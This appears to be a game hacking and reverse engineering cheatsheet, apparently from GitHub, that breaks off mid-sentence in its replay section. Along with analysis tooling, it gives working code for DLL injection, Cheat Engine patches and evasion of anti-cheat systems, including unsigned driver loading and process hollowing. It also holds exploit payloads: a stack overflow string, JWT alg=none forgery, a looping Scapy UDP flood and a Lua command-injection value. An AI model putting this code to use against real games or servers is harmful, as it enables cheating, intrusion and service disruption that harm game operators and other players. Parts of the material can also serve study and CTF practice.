Game Hacking & Reverse Engineering Mega Cheatsheet
January 11, 2026 · View on GitHub
Memory Editing • Anti-Cheat Evasion • Debugging • Code Injection
This guide teaches practical techniques used in:
- CTFs & vulnerability research
- Trainer and cheat development
- Debugging game logic
- Understanding & modifying runtime behavior
Intended for learners and professionals doing ethical research on their own systems.
Table of Contents
- Game Hacking & Reverse Engineering Mega Cheatsheet
- Game Hacking Cheat Sheet
- Recon and Static Analysis
- Engine Recon Automation (Unity, Unreal, etc.)
- Goals of Engine Recon
- Unity Engine (Mono / IL2CPP)
- Identifying Unity Games
- Mono Runtime Recon
- IL2CPP Automation
- Unreal Engine Recon (UE3/UE4/UE5)
- Identifying Unreal Games
- Auto SDK Generation
- Auto Object Dumper (Python + pymem)
- GNames and GObjects Pattern Script in IDA or Ghidra
- UE4 .ini Logging Hack (Optional)
- WebAssembly and Browser Recon via WebGL
- Static and Runtime Tools
- Instrumentation Example (DevTools Console)
- .wasm Mapping
- Lua Engine Recon
- What to Hook
- Dynamic Lua Hijacking (Frida)
- Tools to Include
- Engine-Specific Signatures
- Obfuscated Binary Detection and Unpacking
- C and C++ RTTI and Symbol Salvage
- Dynamic Memory Analysis
- Advanced Cheat Engine Usage
- Injection and Cheat Code
- Exploitation Techniques
- Remote and Server-Side Exploits
- Replay System Hacking
- Replay Formats by Engine-Game
- Reverse Engineering Replay Formats
- General Steps
- CS:GO Replay (.dem) Parsing
- Rocket League Replay Modding
- Exploitable Replay Logic (RCE and Logic Abuse)
- Exploit Deserialization RCE
- Exploit Replay Re-Execution Abuse
- Exploit Server Replay Import Vulnerability
- AI Bot Training via Replay Data
- Replay Corruption Use-Cases
- Tools and Libraries
- Replay Manipulation Example (Rocket League)
- Aimbots - Clipping and PvP Lag Exploits for PC and Console
- Anti-Cheat Bypass Techniques
- Game Logic Abuse
- Engine-Specific Hacks
- APT-Level Techniques
- Automation and Fuzzing
- DRM and Obfuscation Bypass
- Shellcode Engineering
- DRM Loader Staging
- Key Concepts
- Reverse Engineering Process (Staged DRMs)
- 1. Detect the Staging Behavior
- 2. Locate the Real Entry Point
- 3. Trace Loader Flow with x64dbg
- 4. VMProtect Loader Internals
- 5. VM Handler Identification
- Nested Loader Unpacking
- Anti-Debug/Anti-Dump Bypasses
- Manual Dump and Rebuild
- Denuvo Specific Staging
- Common Loader Signatures
- DRM Loader Fuzzing / Mutation
- DRM Tooling Ecosystem
- AI/ML Augmentations
- Hardware Hacks
- Firmware Analysis
- UEFI Dump - Patch - and Injection
- Tools
- Dump UEFI from Flash
- Explore DXE Modules
- Patch Boot Flow
- Inject DXE Module Payload
- Console Boot ROM Reversing (Nintendo Switch, PS5, Xbox)
- Nintendo Switch
- PS5
- Xbox Series (Scarlett)
- LV0 / LV1 Hypervisor Reversing (Sony Consoles)
- Firmware Attack Matrix
- Research-Level Firmware Tooling
- Defeating Firmware Protections
- Firmware-Based Cheat Staging
- Console Exploits
- External Console Botting over Remote Play
- Cloud Gaming Exploits
- Threat Modeling: Cloud Gaming
- Latency Manipulation Attacks for All Levels
- Tools Needed
- Example 1: Induced Lag to Exploit Hit Registration
- Use Cases
- Adaptive Lagbots (Advanced)
- Session Hijacking Techniques
- Attack Surface
- Example: WebSocket Hijack in Browser
- Unauthorized Access to Game Sessions
- Target Examples
- Cloud API Reverse Engineering
- Tools
- Frida TLS Unpinning (Android Cloud Client)
- Interesting Endpoints to Target
- Bypassing Detection and Limits
- CTF / Red Team Use Cases
- VR/AR Game Hacking
- Blockchain and NFT Game Exploits
- Zero-Knowledge Game Proofs (zk-Gaming)
- What Are zk-SNARKs / zk-STARKs?
- Use Cases in Web3 Gaming
- How to Detect Zero-Knowledge Proofs in Games
- On-chain Signs
- Frontend / Client Clues
- Example: zk-SNARK in Score Submission
- Internals: zk-SNARK Components
- How to Attack or Bypass
- 1. Client-Side Proof Forging
- 2. Weak Circuit Logic
- 3. Replay Proof Attack
- 4. Verifier Contract Injection
- Advanced Vector: zk-STARK vs zk-SNARK
- Tools You Can Use
- Mitigation / Hardening (for defenders)
- Summary
- Remote Control / Command-and-Control Bots (C2 Bots)
- Persistent Pathfinding and Resource Bots
- Mobile Game Hacking (Android and iOS)
- Overview
- APK Reverse Engineering (Android)
- Smali Modification (Intermediate)
- Frida for Android and iOS (Dynamic Instrumentation)
- Setup (Android)
- Example: Hooking Currency Function
- Frida on iOS (Advanced)
- Android Root Detection Bypass
- iOS Jailbreak Detection Bypass
- Mobile Input Automation and Bots
- Android Automation
- iOS Automation (Jailbreak Required)
- Advanced Tactics
- Anti-AntiCheat and Evasion
- | Jailbreak (iOS) | Use libhooker, patch
fileExistsAtPath()| - VM-Level Cheats using EPT, NPT, and Bluepill
- Core Concepts
- Use Cases in Game Hacking
- How It Works: EPT Memory View (Intel)
- Techniques
- 1. Custom Hypervisor (KVM, Bare-metal, SimpleVisor)
- 2. Hyper-V Based External ESP
- 3. Memory Redirection via EPT Hooks
- 4. Bluepill Hypervisor Injection
- Anti-Detection Advantages
- Advanced Applications
- Tooling Ecosystem
- Real-World Exploit Flow: Silent ESP via LibVMI
- Research Tips
- Anti-AntiCheat Signatures and Patches
- Quantum Computing Assisted Game Hacking
- Advanced Mobile Game Exploitation
- Cloud Save & Achievement Exploitation
- Speedrunning Tools & Techniques
- Memory Forensics Evasion
- Supply Chain & Update Mechanism Attacks
- Side-Channel Attacks for Game State Inference
- P2P Network Exploitation
- Anti-Cheat Development Perspective
- Tool Pairings
- Hands On Game Hacking Labs & Guided Practice
- Game Hacking Tool Stack {#essential-tool-stack}
- Documentation Shortcuts {#tool-docs}
- Learning Pathways — Choose Your Specialization
- Legal & Ethical Use
Game Hacking Cheat Sheet
Welcome to the definitive guide for game hacking. This repository compiles advanced techniques, tools, and strategies for dissecting and manipulating games, intended strictly for authorized testing, education, and Capture The Flag (CTF) research.
This cheat sheet is structured for developers, security researchers, and reverse engineers. Unauthorized use is unethical and may violate laws or terms of service.
Recon and Static Analysis
Unravel game internals with these elite static analysis techniques.
Core Techniques
- Run
strings,binwalk,hexdumpon binaries: Extract plaintext, embedded files, and hex patterns for initial insights. - Reverse
.exe/.dllwith Ghidra, IDA, or Binary Ninja: Decompile to pseudocode or assembly; leverage FLIRT signatures for known libraries (e.g., Unity, Unreal SDKs). - Map
main(),WinMain(), or game loops: Trace entry points and core logic flows in disassemblers. - Extract debug symbols from
.pdb/.dbgfiles: Recover function names, variables, and call stacks using DIA SDK. - Analyze sections (
.text,.rdata,.data,.reloc,.bss): Identify code, strings, globals, relocations, and uninitialized data. - Identify calls to
GetAsyncKeyState,memcmp,strstr: Locate input handling and string comparison routines. - Search internal function names via
strings/ RTTI: Exploit runtime type info or plaintext leaks to map logic. - Enumerate imports with
rabin2 -ior LIEF: List DLL dependencies and hooked APIs. - Check linked libraries (DirectX, Mono, Vulkan): Detect frameworks for rendering, scripting, or physics.
Deep Dive and Expansion
Static analysis is often underutilized—maximize it with advanced correlation and metadata extraction.
Binary Forensics
-
Use
radare2:aaaa # Auto-analysis izz # Extract strings iS # Check section entropy -
Entropy Mapping:
- Identify packed/encrypted regions using
binwalk -Eor EntropyGUI - High entropy (>7.0) suggests obfuscation
- Identify packed/encrypted regions using
Cross-Platform Analysis
-
Mach-O (macOS):
- Use
otool -lVfor load commands - Use
jtool2for Objective-C metadata
- Use
-
ELF (Linux):
- Run
readelf -Wsfor dynamic symbols - Use
patchelfto modify interpreters
- Run
Obfuscation Breakers
-
Symbol Recovery: Parse stripped
.pdbfiles using DIA SDK -
RTTI Exploitation: Rebuild C++ vtables in IDA using
RTTI::CompleteObjectLocator -
Code Cave Detection:
for seg in Segments(): if SegName(seg) == ".text": for func in Functions(seg, SegEnd(seg)): size = GetFunctionAttr(func, FUNCATTR_END) - func if size > 5000: print("Potential cave at:", hex(func), "Size:", size) -
CRC Check & Anti-Tamper Tracing:
- Look for
mov eax, ds:CRC_TABLE,xor ecx, [ptr], etc.
- Look for
-
PDB Symbol Leeching:
- Use Microsoft Symbol Servers (
symsrv) to pull symbols from related builds
- Use Microsoft Symbol Servers (
-
Embedded Scripting Engine Detection:
- Look for:
PyRun_SimpleString,lua_pcall,duk_eval_string
- Look for:
Real-World Metadata Recon
-
PE Authenticode Signature Diffing:
sigcheck.exe -q -m osslsigncode -
Language / Compiler Fingerprinting:
- Use
binlex,lief, orretdec
- Use
| Pattern | Origin |
|---|---|
| SEH frames | MSVC (Visual Studio) |
il2cpp::vm:: calls | Unity IL2CPP |
UFunction::ProcessEvent | Unreal Engine |
Ghidra Headless Automation
./analyzeHeadless project_dir project_name -import target.exe -postScript ExtractStrings.java -deleteProject
Obfuscation and Packing Detection Matrix
| Obfuscation Technique | Detection Method | Tool(s) |
|---|---|---|
| UPX / Common Packers | Strings entropy, section size | binwalk, die, upx -t |
| VMProtect / Themida | .text entropy > 7.3, jmp chains | PEiD, Detect It Easy |
| Unity IL2CPP + Metadata | global-metadata.dat presence | Il2CppDumper, IDA Pro |
| Custom XOR / Rijndael | High-entropy strings, XOR loops | radare2, capstone, Unicorn |
| Lua Bytecode / JIT | 1B 4C 75 61 (Lua header) | luadec, lua-dis |
Game-Specific Recon Signatures
| Engine | Recon Target | Indicator / Signature |
|---|---|---|
| Unity (Mono) | Assembly-CSharp.dll, MonoBehaviour | Public classes, IL2CPP strings |
| Unreal (UE) | UObject::GObjects, GNames | 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
| CryEngine | CrySystem.dll, CryEntitySystem.dll | CEntity::Update() in IDA |
| Source | client.dll, engine.dll | CreateMove, PaintTraverse |
| GameMaker | *.yy, *.yyp, GameMakerUI.dll | InitGameObject, ObjectSetLayer |
Asset Recon (Deep Reverse)
-
Unity:
- Use
AssetRipperorAssetStudioto extract textures, classes - Analyze
global-metadata.dat,libil2cpp.sofor IL2CPP mappings
- Use
-
Unreal Engine:
- Dump
GObjects,GNames,UClasshierarchy using CE Table or SDK Generator - Patch
Engine.ini:[Core.Log] LogNet=Verbose LogNetTraffic=VeryVerbose
- Dump
-
Browser/WebGL Titles:
- Use
wasm-decompile,wasm2wat, Chrome DevTools - Hook
eval,Function,WebAssembly.instantiateStreaming
- Use
Advanced Techniques
- Capstone + Unicorn: Emulate decryption logic (e.g., XOR loops)
- LLVM IR Analysis: Use RetDec to lift binaries to LLVM IR
- Custom Signatures: Build FLIRT sigs for FMOD, PhysX, etc. using Ghidra
Engine Recon Automation (Unity, Unreal, etc.)
Understanding and automating engine-level reconnaissance is critical for every red teamer, cheat dev, or reverse engineer. Each modern engine (Unity, Unreal, CryEngine, etc.) provides predictable metadata, method tables, and memory layouts that you can scan, dump, or script around for massive leverage.
Goals of Engine Recon
- Automatically locate key game logic (health, damage, abilities, inventory)
- Identify functions to hook or patch
- Map scripting engines (Mono, Lua, IL2CPP)
- Dump class hierarchies (e.g. Player, Entity, Ability)
- Locate rendering functions, timers, or input handlers
- Script cheat tables or Frida hooks dynamically
Unity Engine (Mono / IL2CPP)
Identifying Unity Games
File Indicators:
- UnityPlayer.dll, global-metadata.dat, Assembly-CSharp.dll
- Directory: /Managed/, /Data/, /MonoBleedingEdge/
- Presence of il2cpp_data/ for IL2CPP builds
Memory Indicators:
strings -n 10 game.exe | grep "UnityEngine"
UnityVersion tags in binary or Player.log.
Mono Runtime Recon
Steps:
- Attach Cheat Engine or MonoMod tools
- Go to Mono → Activate Mono Features
- Use Dissect Mono to list all classes and methods
- Hook method using mono_findMethod
Auto-dumper:
local c = mono_enumDomains()
for _, domain in pairs(c) do
local assemblies = mono_enumAssemblies(domain)
for _, asm in pairs(assemblies) do
print("Assembly:", mono_getAssemblyName(asm))
end
end
IL2CPP Automation
Tools:
- Il2CppDumper (CLI/GUI)
- IDA Plugin: Il2CppInspector
- ScyllaHide + CE for live memory scans
Process:
- Dump global-metadata.dat + GameAssembly.dll
- Run:
Il2CppDumper GameAssembly.dll global-metadata.dat output/
- Look for key class mappings: Player::TakeDamage, Inventory::AddItem, etc.
Bonus:
- Use IDA Pro + FLIRT to auto-rename IL2CPP methods
- Create .sig from Unity 2021.3 base headers for auto-tagging
Unreal Engine Recon (UE3/UE4/UE5)
Identifying Unreal Games
Static Indicators:
- UE4Game.exe, UE5Game.exe, GEngine.dll, UnrealPak.exe
- .pak files in /Content/ or /Paks/
- UObject, UFunction, FString patterns in memory
Runtime Signatures:
| Target | AOB Signature |
|---|---|
| GObjects | 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
| GNames | 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 |
| ProcessEvent | E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? |
Use pymem + AOB scan or CE Lua script to resolve dynamically.
Auto SDK Generation
Use UE4 SDK Generator:
UE4Dumper.exe -pid <target_pid> -dump
Generates: Classes.hpp, Offsets.hpp, Functions.cpp
Load in IDA to cross-ref symbols and write your own internal ProcessEvent() hook.
Auto Object Dumper (Python + pymem)
from pymem import Pymem
pm = Pymem("game.exe")
gobjects = pm.read_int(0x12345678) # Found via sig scan
for i in range(1024):
obj_ptr = pm.read_int(gobjects + i * 4)
name = pm.read_string(obj_ptr + 0x18)
print(f"[+] Object {i}: {name}")
GNames and GObjects Pattern Script in IDA or Ghidra
# Ghidra - find GNames
pattern = b"\x48\x8B\x05"
findBytes(currentProgram, pattern)
UE4 .ini Logging Hack (Optional)
Enable rich logging for network or events:
[Core.Log]
LogNet=VeryVerbose
LogNetTraffic=VeryVerbose
LogOnline=VeryVerbose
Also enable:
[/Script/Engine.RendererSettings]
r.DebugDraw = 1
WebAssembly and Browser Recon via WebGL
Static and Runtime Tools
- wasm-decompile (binaryen)
- wasm2wat (WABT)
- Chrome DevTools → Memory panel → WebAssembly.Instance.exports
- Hook WebAssembly.instantiateStreaming
Instrumentation Example (DevTools Console)
const original = WebAssembly.instantiate;
WebAssembly.instantiate = async function(buffer, importObj) {
console.log("[+] Hooked WASM instantiate");
return original.call(this, buffer, importObj);
};
Or use:
Function = new Proxy(Function, {
apply(target, thisArg, args) {
console.log("Eval:", args[0]);
return Reflect.apply(...arguments);
}
});
.wasm Mapping
- wasm-decompile
- radare2 -AA file.wasm
- ghidra_wasm_plugin
Reverse-engineer exports: Identify heal(), moveTo(), attack().
Lua Engine Recon
What to Hook
- lua_getglobal, lua_setglobal, lua_pcall
- Enumerate Lua stack and global table
int n = lua_gettop(L);
lua_pushnil(L);
while (lua_next(L, LUA_GLOBALSINDEX)) {
printf("%s\n", lua_tostring(L, -2));
lua_pop(L, 1);
}
Dynamic Lua Hijacking (Frida)
Interceptor.attach(Module.findExportByName(null, "lua_pcall"), {
onEnter(args) {
console.log("Calling Lua:", args[1]);
}
});
Tools to Include
| Engine | Tool | Purpose |
|---|---|---|
| Unity | Il2CppDumper, AssetRipper | Dump C# classes, metadata |
| Unreal | UE4Dumper, SDK Gen | Generate headers, locate hooks |
| WebGL | wasm-decompile, DevTools | Export analysis, JS interop |
| Lua | Frida, LuaJIT tools | Dump globals, hook logic |
Engine-Specific Signatures
Use these indicators to fingerprint game engines and enable targeted reversing strategies.
| Engine | Indicator | Signature / Pattern |
|---|---|---|
| Unity (IL2CPP) | global-metadata.dat, libil2cpp.so | .data section with metadata blob |
| Unity (Mono) | Assembly-CSharp.dll | IL code; browse via dnSpy / dotPeek |
| Unreal Engine | UObject::GObjects, GNames | 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8 |
| CryEngine | CrySystem.dll, CEntity::Update() | Export table symbols or IDA auto-analysis |
| Godot | .gd scripts, main_loop strings | Custom bytecode and scene structure patterns |
Obfuscated Binary Detection and Unpacking
High-Entropy Sections (VMProtect, Themida, Enigma)
binwalk -E target.exe
IL2CPP Metadata Fingerprint (Unity)
with open("global-metadata.dat", "rb") as f:
header = f.read(4)
if header == b"\xAF\x1B\xB1\xFA":
print("[+] IL2CPP Metadata Detected")
Unpacking VMProtect / Themida
- Identify loader stub (jmp short, jmp dword ptr fs)
- Trace decrypt stub via x64dbg + ScyllaHide
- Dump real .text from memory using Scylla
- Rebuild IAT with PE-bear or x64dbg IAT Rebuilder
C and C++ RTTI and Symbol Salvage
// IDA script: Recover class names
auto rtti = get_rtti_struct(ea);
Dynamic Memory Analysis
Master real-time memory manipulation with these professional-grade methods.
Core Techniques
- Attach Cheat Engine, x64dbg, or Frida: Monitor live processes with breakpoints and value scans.
- Scan/Freeze In-Memory Values: Lock health, ammo, or gold by finding and freezing addresses.
- Trace "What Writes to Address": Locate opcodes modifying key variables (e.g., player stats).
- Heap Spray Tracing: Monitor allocations during crafting or spawning for overflow targets.
- Dynamic Import Resolution: Hook LoadLibrary/GetProcAddress to log runtime DLL calls.
- Hook/Detour with Frida: Inject custom logic into game functions dynamically.
- Use ReClass.NET: Reverse-engineer memory structures (e.g., player class pointers).
- Hook DirectX/OpenGL: Overlay ESP/aimbot visuals by intercepting render calls.
- Trace Memory Maps: Use /proc/
/maps (Linux) or VirtualQueryEx (Windows) to chart layouts. - Monitor Telemetry: Sniff heartbeat timers or uploads with Process Monitor/Wireshark.
Deep Dive
Flip bits in real-time with these advanced tactics.
Next-Level Techniques
- Time Travel Debugging (TTD): Record execution with WinDbg Preview TTD, rewind to trace variable origins.
- Heap Feng Shui: Force predictable heap layouts with controlled allocations (e.g., spray 0x1000-byte objects).
- Frida Stalker:
Stalker.follow({ events: { compile: true }, onReceive: function (blocks) { console.log(blocks); } }); - DirectX/OpenGL Hooking:
- RenderDoc: Capture frames to reverse shaders.
- VTable Hooking: Swap IDXGISwapChain::Present for ESP overlays.
- Kernel-Mode Monitoring: Use Intel Processor Trace (PT) via perf (Linux) or WinDbg kernel debugging.
Advanced Live Tactics
- Frida Heap Tracker:
Interceptor.attach(Module.getExportByName(null, "malloc"), { onEnter: function (args) { this.size = args[0].toInt32(); }, onLeave: function (retval) { if (this.size == 0x500) { console.log("[*] Large allocation at: " + retval); } } }); - Shadowing Game Logic: Identify duplicate structs (e.g., player_data vs. player_shadow) in ReClass.NET to exploit state management.
- Dynamic Function Pointer Dispatch:
var base = ptr("0x400000"); Memory.scan(base, 0x100000, "?? ?? ?? ?? ?? ?? ?? ??", { onMatch: function (address, size) { if (!address.readPointer().isNull()) { console.log("VTable candidate at:", address); } } }); - Continuous Memory Map Correlation: Track allocation deltas with VirtualQueryEx (Windows) or diff /proc/
/maps (Linux). - Snapshot-Diffing: Take memory dumps at different states and compare with pymem, pydiff, or Rust scanners.
- Memory Breakpoint Watch:
- Cheat Engine: Right-click → "Find out what writes to this address"
- x64dbg:
bp access mem 0xDEADBEEF size 4 r/w
Advanced Techniques
- Intel PIN: Instruction-level tracing for fine-grained analysis.
- Memory Allocator Hooks: Intercept malloc/HeapAlloc to track allocations.
- Custom Scanners: Build memory scanners in Rust for cross-platform efficiency.
Heap Spraying
List<GameObject> spray = new List<GameObject>();
for (int i = 0; i < 10000; i++) {
spray.Add(new GameObject("HeapObject" + i));
}
Frida: Hooking malloc and free
Interceptor.attach(Module.getExportByName(null, 'malloc'), {
onEnter(args) {
this.size = args[0].toInt32();
},
onLeave(retval) {
if (this.size > 1024) {
console.log(`[+] Allocated: ${this.size} bytes at ${retval}`);
}
}
});
Live Allocation Tracker
Interceptor.attach(Module.getExportByName(null, "operator new"), {
onEnter: function (args) {
this.sz = args[0].toInt32();
},
onLeave: function (retval) {
console.log("[+] new() size:", this.sz, " -> ", retval);
}
});
Memory Map Diffing
Linux:
cat /proc/<pid>/maps
Windows:
VirtualQueryEx(hProc, address)
Dynamic Function Discovery via Frida
Module.enumerateRanges('r-x').forEach(range => {
Memory.scan(range.base, range.size, '55 8B EC', {
onMatch(addr) {
console.log("[*] Function prologue at:", addr);
}
});
});
Recommended Tools
| Purpose | Tool |
|---|---|
| Heap Tracing | Frida, Valgrind (Linux) |
| Structure Reversing | ReClass.NET |
| Frame Capture | RenderDoc, PIX |
| Runtime Instrumentation | Frida, Intel PIN |
| Live Scanning | pymem, Rust+WinAPI |
Advanced Cheat Engine Usage
Cheat Engine (CE) is a powerful reverse engineering and memory editing tool, far beyond just scanning for health or ammo. Below is a modular breakdown to push CE into red team and CTF-grade use.
Tools Needed
- Cheat Engine (latest build)
- Custom driver (signed or unsigned)
- Windows x64 target (Unity, Unreal, Mono, etc.)
- Optional: Frida / x64dbg / ReClass.NET
1. Pointer Path Tracing (Multilevel Pointer Maps)
In modern games, static addresses don’t last — you must trace pointers.
Manual Pointer Walk:
[game.exe+0x02F41B90] → 0xDEADBEEF → +0x10 → Health
Steps:
- Scan for health
- Right-click → “What accesses this address”
- Use “Pointer scan” → “Find path to value”
- Reboot and validate
Auto Pointer Lookup via Lua:
local base = readPointer("game.exe+0x02F41B90")
local health = readInteger(base + 0x10)
print("Health:", health)
2. Code Injection w/ Auto Assembler
Patch game logic or build trainers.
Example: Health Freeze:
[ENABLE]
alloc(newmem,2048)
label(return)
newmem:
mov [eax+10],#999
jmp return
"game.exe"+123456:
jmp newmem
return:
Bonus:
- Use
jmp shortvsjmp nearbased on distance (5-byte near patch)
AOBScan for ASLR-Busting
Use signatures to find injection sites dynamically.
[ENABLE]
aobscanmodule(INJECT_AOB,game.exe,89 54 24 10 8B 45 ??)
alloc(newmem,2048,"game.exe")
label(return)
newmem:
nop
nop
jmp return
INJECT_AOB:
jmp newmem
return:
Good AOB tips:
- Unique, short patterns
- Avoid excessive wildcards
- Grab from IDA/CE memory viewer
CE Mono Framework (Unity Games)
Interact directly with Mono-based Unity games.
Steps:
- Attach → Mono → Activate Mono Features
- Use “Dissect Mono” to inspect class/methods
🔧 Hook a Unity Method (Lua):
local method = mono_findMethod("Assembly-CSharp", "Player", "TakeDamage")
print("TakeDamage at:", string.format("0x%X", method.address))
Lua Scripting for Runtime Cheats
CE’s Lua API enables real-time memory editing and trainers.
F6 Hotkey to Refill Ammo:
function refillAmmo()
writeInteger("[game.exe+0x1A2B3C4]", 999)
end
createHotkey(refillAmmo, VK_F6)
Add via Table → Show Cheat Table Lua Script
Anti-AntiCheat Stealth Tactics
CE is detectable — use these strategies:
Signature Evasion:
- Rename executable
- Hex-edit PE headers
- Strip metadata/version info
PEB Unlinking:
dbk_writesIgnoreWriteProtection(true)
Use Stealth Edit Plugin:
- Avoid global hooks
- Inline memory edits
Driver Tricks:
- Custom
dbk64.sys - Load unsigned via KDMapper or Test Mode
Code Cave Injection
Patch unused memory space for full logic.
Steps:
- Search for
00 00 00 00in.textor.data - Inject your logic
- JMP from game code to cave
alloc(cave, 512, "game.exe+0x123456")
CE and Frida Hybrid Debugging
Combine CE scanning + Frida hooks:
Use CE for:
- Live struct discovery
- Memory validation
Use Frida for:
- Internal function hooking
- Argument manipulation
Interceptor.attach(ptr("0xDEADBEEF"), {
onEnter(args) {
args[0] = ptr(999);
}
});
Injection and Cheat Code
Inject cheats with surgical precision using these elite methods.
Core Techniques
-
Classic LoadLibrary Injection:
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, addr, dllPath, strlen(dllPath)+1, NULL); CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, addr, 0, NULL); -
Manual Mapping: Bypass detection with stealth injection (e.g., GH Injector).
-
Inline Hooks:
Original: MOV EAX, [EBP+8] CALL GameFunction Hooked: JMP HookFunction NOP -
VMT Hooking:
DWORD* vTable = *(DWORD**)player; DWORD original = vTable[5]; vTable[5] = (DWORD)&MyFunction; -
.text Cave Injection: Hide code in unused executable sections.
-
CreateRemoteThread: Inject into suspended processes silently.
-
IAT/EAT Patching: Redirect import/export tables to custom functions.
-
Hook Direct3D EndScene()/Present(): Render ESP overlays.
-
Shellcode in Heap: Inject small stubs for minimal footprint.
-
SetWindowsHookEx: Capture keyboard/mouse input globally.
Stealth Injection
- Process Hollowing: Replace
svchost.exewith game binary usingNtUnmapViewOfSection + ZwMapViewOfSection. - Vectored Exception Handling (VEH): Hijack execution flow via
AddVectoredExceptionHandler. - Reflective DLL Injection: Load DLLs from memory without touching disk.
Advanced Injection Strategies
| Technique | Method | Use Case |
|---|---|---|
| .text Cave Injection | Inject in unused code section | High stealth |
| VEH Hook | Trigger via exception handler | Reflective injection |
| TLS Callback | Run code before main() in PE | Pre-initialization |
| IAT Patching | Redirect imports (e.g., MessageBoxA) | Function hijacking |
| Discord Overlay Hijack | DLL sideload via overlay | Bypass anti-cheat |
- eBPF Hooking (Linux): Attach probes to kernel syscalls for stealth.
- PTrace Injection (Android): Modify running code using
PTRACE_POKETEXT.
Exploitation Techniques
Uncover deep exploit pathways in both client and server components of modern games. Includes memory corruptions, logic flaws, protocol fuzzing, and weaponized savegame/asset injections.
Local Memory Exploits
Classic memory corruption bugs, still common in native engine modules, mods, or legacy games.
Stack Buffer Overflow in C and C++
void parse_chat(char *msg) {
char buf[128];
strcpy(buf, msg); // 💥 Vulnerable: No bounds check
}
Exploit Payload:
payload = b"A" * 132 + b"\xDE\xAD\xBE\xEF"
send_to_game_chat(payload)
Heap Overflow in Item Parser
void read_item(FILE *f) {
char *buf = malloc(64);
fread(buf, 1, 128, f); // 💥 Heap overflow
}
Heap Spray + UAF:
- Use crafted
.invfile. - Reallocate freed memory with attacker-controlled structure.
Savegame Exploits
Modern games often parse custom .sav, .json, or .bin save formats.
Target Areas:
- Long strings (names, chat, inventory)
- Embedded scripting fields
- Reused legacy fields (e.g., Lua in old engines)
Save Exploit Example:
{
"playerName": "A" * 1024 + "\u0041\u0041\u0041\u0041",
"inventory": [{"item": "sword"}]
}
Execution Vector: If parsed with strcpy() or loaded into memory without bounds check, leads to RCE.
Tools: Radamsa, AFL++, zzuf, boofuzz, custom grammar fuzzers
Remote and Server-Side Exploits
Game backends often expose vulnerable APIs or real-time logic bugs.
API Parameter Tampering
POST /api/shop/buyItem
{
"itemId": "super_legendary_sword",
"price": 1
}
If price is only enforced client-side → free legendary loot.
Test With: Burp Suite, mitmproxy, Python requests
JWT Token Forgery
import jwt
token = jwt.encode({"user": "admin"}, "wrongkey", algorithm="HS256")
Works if backend accepts unsigned or improperly verified tokens.
alg=none Bypass:
{
"alg": "none",
"typ": "JWT"
}
Use: jwt.io, pyjwt, or node-jose.
Logic Exploits
- Cooldown Tampering: Send multiple "cast spell" packets in quick succession.
- Currency Race Conditions: Double-purchase via parallel POSTs.
Use ffuf, Intruder, or Python asyncio spammer.
Network and Protocol Exploits
Low-level network attacks can crash or take control of networked games.
UDP Fuzzing with Scapy
from scapy.all import *
payload = b"A" * 1024
pkt = IP(dst="192.168.1.15")/UDP(dport=27015)/payload
send(pkt, loop=1, inter=0.01)
Targets:
- Legacy engine netcode (e.g., Source Engine)
- Poorly written packet parsers (e.g., Protobuf over UDP)
- Desync crashes in P2P engines (e.g., RakNet, Unity LLAPI)
Custom Protocol Reversing
Use Wireshark + custom dissectors to reverse:
- Encryption schemes
- Opcode IDs (RPCs)
- Frag/ack logic in UDP game protocols
Combine with:
binwalkfor packet structureboofuzzto fuzz packet fields
Asset-Based RCE (Texture, Music, Map Files)
Games that load external assets (like .png, .mp3, .pak) via third-party libraries can be exploited via:
- Malicious PNGs →
libpngoverflows - Malformed MP3 →
libmadparsing flaws - Malicious
.bspor.pak→ custom scripting hooks
Injected file triggers buffer overflows or logic flaws in parser.
Use: Peach Fuzzer, Fuzzino, or custom asset generators
Exploit Examples Matrix
| Technique | Target | Description / Payload |
|---|---|---|
| Stack Overflow | Local buffer | strcpy() → overwrite return address |
| Savegame Injection | Client-side RCE | Craft .sav to trigger memory corruption |
| JWT Forgery | Backend auth bypass | alg=none or wrong key → admin access |
| Parameter Tampering | Game API | Buy top-tier items for 0 coins |
| Packet Fuzzing | Multiplayer engine | Oversized or malformed UDP packets |
| Race Condition Abuse | Crafting/shop | Double-purchase exploit with async flood |
| Script Injection | Lua-enabled titles | "name": "x'); os.execute('calc.exe') --" |
| Malicious Asset File | Texture/audio/map | Triggers in vulnerable parsers (e.g., libpng) |
Advanced: Smart Contract and Game Logic Hacking
For blockchain-based games:
- Replay signed transactions (double spend)
- Injected logic via proxy contract manipulation
- Abuse poorly-written game logic
Example:
function upgradeWeapon(uint weaponId, uint cost) {
require(balance[msg.sender] >= cost); // no actual deduction
weaponLevel[weaponId]++;
}
Exploit: Weapon can be upgraded indefinitely.
Toolchain for Exploit Research
| Purpose | Tools |
|---|---|
| Savegame Fuzzing | Radamsa, AFL++, Boofuzz |
| Protocol Reversing | Wireshark, Scapy, Ghidra |
| Live Memory Analysis | Cheat Engine, Frida, ReClass.NET |
| Backend Exploits | Burp Suite, Postman, mitmproxy |
| JWT Manipulation | pyjwt, jwt.io, node-jose |
| File Format Exploits | Binwalk, Peach Fuzzer, zzuf |
| Multiplayer Spamming | ffuf, python-requests, asyncio tools |
Replay System Hacking
Modern games often implement deterministic replay systems that log input, entity states, and timestamps to re-simulate gameplay. These replay files (.dem, .replay, .json, etc.) can be:
- Reverse-engineered to extract telemetry
- Modified to inject arbitrary input or manipulate the outcome
- Exploited if the engine blindly trusts replay content
- Used for offline aimbot training, analytics, or forensic attack reconstruction
Replay Formats by Engine-Game
| Game / Engine | Format | Notes |
|---|---|---|
| CS:GO / Source | .dem | Proprietary binary log of commands/events |
| Rocket League | .replay | JSON-packed protobuf with physics frames |
| Overwatch | .replay | Zstd-compressed binary |
| StarCraft II | .SC2Replay | MPQ archive with Battle.net metadata |
| Fortnite / UE | .replay | Unreal's internal DemoNetDriver format |
| Dota 2 | .dem (Source 2) | Similar to CS:GO but Source 2 enhancements |
Reverse Engineering Replay Formats
General Steps
- Identify structure (text, binary, protobuf, zlib, zstd?)
- Use binwalk or
